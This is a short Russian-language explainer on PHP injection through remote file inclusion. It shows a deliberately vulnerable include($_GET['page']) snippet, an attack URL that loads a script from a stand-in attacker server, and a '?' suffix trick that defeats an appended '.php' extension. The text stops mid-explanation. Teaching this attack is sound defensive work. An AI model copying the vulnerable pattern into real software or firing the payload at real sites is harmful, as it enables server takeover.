PHP-инъекция (англ. PHP injection) — это атака на сайт, которая происходит за счет внедрения php кода в атакуемое php-приложение.

Потенциально опасными функциями являются:

eval(), preg_replace() (с модификатором «e»), require_once(), include_once(), include(), require(), create_function().

Разберем на примере функции include(), которая подключает внешний файл с кодом php.

Представим, что у нас имеется сайт, написанный на PHP. Представим так же, что сайт использует команду page=page.html для отображения запрашиваемой страницы. Код будет выглядеть так:

<?php
$file = $_GET [ "page" ]; //Отображаемая страница
include($file );
?>

Это значит, что все, выводимое на странице, будет внедрено в пхп-код этой страницы. Следовательно атакующий может проделать что-то наподобии:

http : //www.атакуемый_сайт.com/index.php?page=http://www.атакующий_серв.com/вредоносный_скрипт.txt?

Если посмотреть, что происходит после выполнения include, нам представится следующий код, выполненный на целевом сервере:

<?php
$file = "http://www.атакующий_серв.com/вредоносный_скрипт.txt?" ; //$_GET["page"];
include($file ); //$file - это внедренный злоумышленником скрипт
?>

Мы видим, что злоумышленник произвел успешную атаку на целевой сервер.

Немного подробнее:

**Почему в примере был указан скрипт с расширением .txt , а не .php ? Ответ прост, если бы скрипт имел формат *.php , он бы запустился на сервере злоумышленника, а не на целевой системе.

Зачем добавлен символ “?” в пути к внедряемому скрипту? Чтобы убрать что-либо, находящееся внутри функции include() на целевом сервере

$file = $_GET [ "page" ];
include($file . ".php" );
?>

Этот скрипт добавляет расширение *.php к чему либо, вызываемому командой include() . Т.е.

http : //www.атакующий_серв.com/вредоносный_скрипт.txt

Превращается в

http : //www.атакующий_серв.com/вредоносный_скрипт.txt.php

С таким именем скрипт не запустится (на сервере злоумышленника не существует фала /вредоносный_скрипт.txt.php ) По этому, мы и добавляем "?" в конец пути к вредоносному скрипту: